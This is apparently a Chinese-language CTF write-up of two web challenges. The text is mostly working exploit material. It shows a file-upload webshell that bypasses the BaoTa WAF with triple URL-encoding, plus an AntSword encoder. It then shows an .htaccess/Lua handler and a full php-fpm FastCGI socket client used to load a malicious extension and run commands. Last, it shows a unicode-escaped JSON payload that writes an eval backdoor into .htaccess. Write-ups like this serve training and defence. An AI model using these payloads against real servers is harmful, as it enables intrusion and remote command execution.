进入题目是个上传页面
使用换行符绕过。成功上传php
然后发现。不能直接POST传参。会被宝塔拦截
之前赵总在WMCTF的那题说过。宝塔不会拦截静态文件(没动态传参)
然后就一直文件上传。访问。
可以bypass open_basedir
可以看到根目录有/readflag。那么还是嘚想办法执行命令
这里GS大师傅发现。用URL编码3次。宝塔就不会拦截。可以动态执行命令
直接传个eval(urldecode(urldecode(urldecode($_POST[1]))));
即可
然后蚁剑写个编码器。同样编码三次
/**
* php::base64编码器
* Create at: 2020/10/08 11:13:29
*/
'use strict';
/*
* @param {String} pwd 连接密码
* @param {Array} data 编码器处理前的 payload 数组
* @return {Array} data 编码器处理后的 payload 数组
*/
function forceEncode(s) {
return Array.from(s).map(i=>'%'+i.charCodeAt(0).toString(16).padStart(2,'0')).join('')
}
module.exports = (pwd, data, ext={}) => {
const payload = data['_']
data[pwd] = forceEncode(forceEncode(forceEncode(payload)));
delete data['_'];
console.log(data);
return data;
}
加上UA头就能直接上蚁剑了
解法1
利用宝塔Apache默认安装的lua模块配合htaccess执行系统命令
https://xz.aliyun.com/t/6088
这里。写一个.htaccess
AddHandler lua-script .lua
写一个1.lua (apache官网上复制的HelloWorld。替换了下)
require "string"
function handle(r)
r.content_type = "text/plain"
local t = io.popen('/readflag')
local a = t:read("*all")
r:puts(a)
if r.method == 'GET' then
for k, v in pairs( r:parseargs() ) do
r:puts( string.format("%s: %s\n", k, v) )
end
else
r:puts("Unsupported HTTP method " .. r.method)
end
end
访问拿到Flag
解法2
利用tmp下的php-fpm socket加载扩展。执行命令
上传1.so。这是一个恶意扩展。相当于Redis的那个so。可以调用恶意函数
https://github.com/AntSwordProject/ant_php_extension
相同PHP版本编译下就行
上传蚁剑的利用脚本。2.php
<?php
class Client
{
const VERSION_1 = 1;
const BEGIN_REQUEST = 1;
const PARAMS = 4;
const STDIN = 5;
const STDOUT = 6;
const STDERR = 7;
const DATA = 8;
const GET_VALUES = 9;
const GET_VALUES_RESULT = 10;
const UNKNOWN_TYPE = 11;
const RESPONDER = 1;
protected $keepAlive = false;
protected $_requests = array();
protected $_requestCounter = 0;
protected function buildPacket($type, $content, $requestId = 1)
{
$offset = 0;
$totLen = strlen($content);
$buf = '';
do {
// Packets can be a maximum of 65535 bytes
$part = substr($content, $offset, 0xffff - 8);
$segLen = strlen($part);
$buf .= chr(self::VERSION_1) /* version */
. chr($type) /* type */
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
. chr($requestId & 0xFF) /* requestIdB0 */
. chr(($segLen >> 8) & 0xFF) /* contentLengthB1 */
. chr($segLen & 0xFF) /* contentLengthB0 */
. chr(0) /* paddingLength */
. chr(0) /* reserved */
. $part; /* content */
$offset += $segLen;
} while ($offset < $totLen);
return $buf;
}
protected function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* nameLengthB0 */
$nvpair = chr($nlen);
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen < 128) {
/* valueLengthB0 */
$nvpair .= chr($vlen);
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
protected function readNvpair($data, $length = null)
{
if ($length === null) {
$length = strlen($data);
}
$array = array();
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & 0x7F << 24);
$nlen |= (ord($data{$p++}) << 16);
$nlen |= (ord($data{$p++}) << 8);
$nlen |= (ord($data{$p++}));
}
$vlen = ord($data{$p++});
if ($vlen >= 128) {
$vlen = ($nlen & 0x7F << 24);
$vlen |= (ord($data{$p++}) << 16);
$vlen |= (ord($data{$p++}) << 8);
$vlen |= (ord($data{$p++}));
}
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
$p += ($nlen + $vlen);
}
return $array;
}
public function buildAllPacket(array $params, $stdin)
{
// Ensure new requestID is not already being tracked
do {
$this->_requestCounter++;
if ($this->_requestCounter >= 65536 /* or (1 << 16) */) {
$this->_requestCounter = 1;
}
$id = $this->_requestCounter;
} while (isset($this->_requests[$id]));
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->keepAlive) . str_repeat(chr(0), 5), $id);
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value, $id);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest, $id);
}
$request .= $this->buildPacket(self::PARAMS, '', $id);
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin, $id);
}
$request .= $this->buildPacket(self::STDIN, '', $id);
return $request;
}
}
$sock = stream_socket_client("unix:///tmp/php-cgi-74.sock", $errno, $errstr);
$client = new Client();
$payload_file = "/www/wwwroot/10.20.124.208/sandbox/af1e5s04sho98l744pqcdauk32/upload/s.php";
$params = array(
'REQUEST_METHOD' => 'GET',
'SCRIPT_FILENAME' => $payload_file,
'PHP_ADMIN_VALUE' => "extension_dir = /www/wwwroot/10.20.124.208/sandbox/af1e5s04sho98l744pqcdauk32/upload\nextension = 1.so",
//这里$payload_file。是我们调用恶意so执行的php命令。extension_dir是扩展目录extension是扩展名
);
$data = $client->buildAllPacket($params, '');
fwrite($sock, $data);
var_dump(fread($sock, 4096));
?>
上传s.php
<?php antsystem("/readflag"); ?>
直接访问即可。
exp中最好用绝对路径。不然。。这个沙盒。。目录名有点乱
Web5
题目给出了源码
这里首先试了下filename为php。safe faild 然后.htaccess可以写入
又看到代码中会写入\nxxxxx。有点[XNUCA2019Qualifier]EasyPHP]
的意思了。
写htaccess。然后用#<?php evalxxx?>\
去注释掉无用字符。然后自动包含
而且json_decode。是可以用unicode绕过的黑名单检测的。
构造payload
{"content":"\u0070\u0068\u0070\u005f\u0076\u0061\u006c\u0075\u0065\u0020\u0061\u0075\u0074\u006f\u005f\u0070\u0072\u0065\u0070\u0065\u006e\u0064\u005f\u0066\u0069\u005c\u000a\u006c\u0065\u0020\u0022\u002e\u0068\u0074\u0061\u0063\u0063\u0065\u0073\u0073\u0022\u000a\u0023\u003c\u003f\u0070\u0068\u0070\u0020\u0040\u0065\u0076\u0061\u006c\u0028\u0024\u005f\u0047\u0045\u0054\u005b\u0027\u0063\u006d\u0064\u0027\u005d\u0029\u003b\u0020\u003f\u003e\u005c"}
发现还是faild。然后随便打。。发现无论打什么。。content都会safe faild。
会不会。是直接检测是否存在content这个键。。
把这个键也unicode编码下。发现可以了
访问index.php就会自动包含.htaccess其中的eval。